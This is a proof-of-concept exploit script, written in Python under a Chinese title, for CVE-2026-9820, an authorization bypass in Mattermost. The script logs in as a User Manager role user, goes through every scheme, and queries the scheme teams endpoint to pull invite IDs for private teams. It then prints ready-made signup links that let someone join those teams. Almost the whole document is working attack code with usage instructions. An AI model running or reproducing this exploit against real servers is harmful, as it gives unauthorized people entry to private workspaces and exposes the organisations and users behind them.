CVE-2026-9820 Mattermost方案团队接口权限绕过漏洞

#!/usr/bin/env python3 """ CVE-2026-9820 - Mattermost Scheme Teams Endpoint Authorization Bypass PoC This PoC demonstrates how a User Manager role user can extract invite links for private teams via the scheme teams API endpoint. """ import requests import json import sys class MattermostCVE_2026_9820: def __init__(self, base_url, username, password): self.base_url = base_url.rstrip('/') self.session = requests.Session() self.username = username self.password = password self.token = None self.user_id = None def authenticate(self): """Authenticate to Mattermost and obtain session token.""" url = f"{self.base_url}/api/v4/users/login" payload = {"login_id": self.username, "password": self.password} resp = self.session.post(url, json=payload) if resp.status_code == 200: self.token = resp.headers.get('Token') self.user_id = resp.json().get('id') print(f"[+] Authenticated as: {self.username} (ID: {self.user_id})") return True else: print(f"[-] Authentication failed: {resp.status_code}") return False def get_schemes(self): """Retrieve available schemes accessible to the current user.""" url = f"{self.base_url}/api/v4/schemes" headers = {"Authorization": f"Bearer {self.token}"} resp = self.session.get(url, headers=headers) if resp.status_code == 200: schemes = resp.json() print(f"[+] Found {len(schemes)} schemes") return schemes return [] def exploit_scheme_teams(self, scheme_id): """ Exploit CVE-2026-9820: Fetch teams under a scheme including private teams' invite links that the User Manager should not have access to. """ url = f"{self.base_url}/api/v4/schemes/{scheme_id}/teams" headers = {"Authorization": f"Bearer {self.token}"} resp = self.session.get(url, headers=headers, params={"page": 0, "per_page": 200}) if resp.status_code == 200: teams = resp.json() print(f"\n[!] CVE-2026-9820 Exploitation Results for scheme {scheme_id}:") print(f"[!] Retrieved {len(teams)} teams (including private teams):") private_invites = [] for team in teams: team_name = team.get('display_name', 'Unknown') team_type = "Private" if team.get('allow_open_invite') == False else "Public" invite_id = team.get('invite_id', '') team_id = team.get('id', '') print(f"\n Team: {team_name} (Type: {team_type})") print(f" Team ID: {team_id}") print(f" Invite ID: {invite_id}") if team.get('allow_open_invite') == False and invite_id: invite_link = f"{self.base_url}/signup_user_complete/?id={team_id}&token={invite_id}" private_invites.append({ "team_name": team_name, "team_id": team_id, "invite_id": invite_id, "invite_link": invite_link }) print(f" [VULNERABLE] Private Team Invite Link: {invite_link}") return private_invites else: print(f"[-] Failed to fetch scheme teams: {resp.status_code}") return [] def run(self): """Execute the full exploitation chain.""" print("=" * 60) print("CVE-2026-9820 - Mattermost Scheme Teams Auth Bypass PoC") print("=" * 60) if not self.authenticate(): sys.exit(1) schemes = self.get_schemes() all_private_invites = [] for scheme in schemes: scheme_id = scheme.get('id') invites = self.exploit_scheme_teams(scheme_id) all_private_invites.extend(invites) print(f"\n{'=' * 60}") print(f"[SUMMARY] Extracted {len(all_private_invites)} private team invite links") print(f"{'=' * 60}") for inv in all_private_invites: print(f" - {inv['team_name']}: {inv['invite_link']}") return all_private_invites if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <base_url> <username> <password>") print(f"Example: {sys.argv[0]} https://mattermost.example.com user_manager_user password123") sys.exit(1) exploit = MattermostCVE_2026_9820(sys.argv[1], sys.argv[2], sys.argv[3]) exploit.run()